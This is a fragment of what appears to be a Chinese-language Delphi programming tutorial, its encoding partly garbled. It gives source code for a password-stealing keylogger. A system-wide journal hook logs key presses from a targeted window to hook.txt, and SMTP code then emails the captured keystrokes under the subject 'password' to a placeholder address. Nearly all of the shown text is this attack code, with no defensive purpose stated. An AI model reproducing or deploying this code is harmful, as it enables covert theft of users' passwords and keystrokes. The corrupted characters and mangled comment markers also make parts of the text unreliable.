| HWND FindWindow( LPCTSTR lpClassName, // pointer to class name LPCTSTR lpWindowName // pointer to window name ); |
| HHOOK SetWindowsHookEx( int idHook, // type of hook to install HOOKPROC lpfn, // address of hook procedure HINSTANCE hMod, // handle of application instance DWORD dwThreadId // identity of thread to install hook for ); |
| hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0); |
| function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall; begin if findedtitle then file://如果發(fā)現窗口后 begin if (peventmsg(lparam)^.message = WM_KEYDOWN) then file://消息等于鍵盤(pán)按下 hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); file://通過(guò)keyhookresult(自定義的函數,主要功能是轉換截獲的消息參數為按鍵名稱(chēng)。我會(huì )在文章尾附上轉化函數的)轉換消息。 if length(hookkey) > 0 then file://如果獲得按鍵名稱(chēng) begin Write(hookkeyFile,hookkey); file://把按鍵名稱(chēng)寫(xiě)入文本文件 hookkey := ‘‘; end; end; end; |
| assignfile(ReadFile,‘hook.txt‘); file://打開(kāi)hook.txt這個(gè)文本文件 reset(ReadFile); file://設為讀取方式 try While not Eof(ReadFile) do file://當沒(méi)有讀到文件尾 begin Readln(ReadFile,s,j); file://讀取文件行 body:=body+s; end; finally closefile(ReadFile); file://關(guān)閉文件 end; nmsmtp1.EncodeType:=uuMime; file://設置編碼 nmsmtp1.PostMessage.Attachments.Text:=‘‘; file://設置附件 nmsmtp1.PostMessage.FromAddress:=‘XXX@XXX.com‘; file://設置源郵件地址 nmsmtp1.PostMessage.ToAddress.Text:=‘XXX@XXX.com‘; /設置目標郵件地址 nmsmtp1.PostMessage.Body.Text:=‘密碼‘+‘ ‘+body; file://設置郵件內容 nmsmtp1.PostMessage.Subject:=‘password‘; file://設置郵件標題 nmsmtp1.SendMail; file://發(fā)送郵件 |
聯(lián)系客服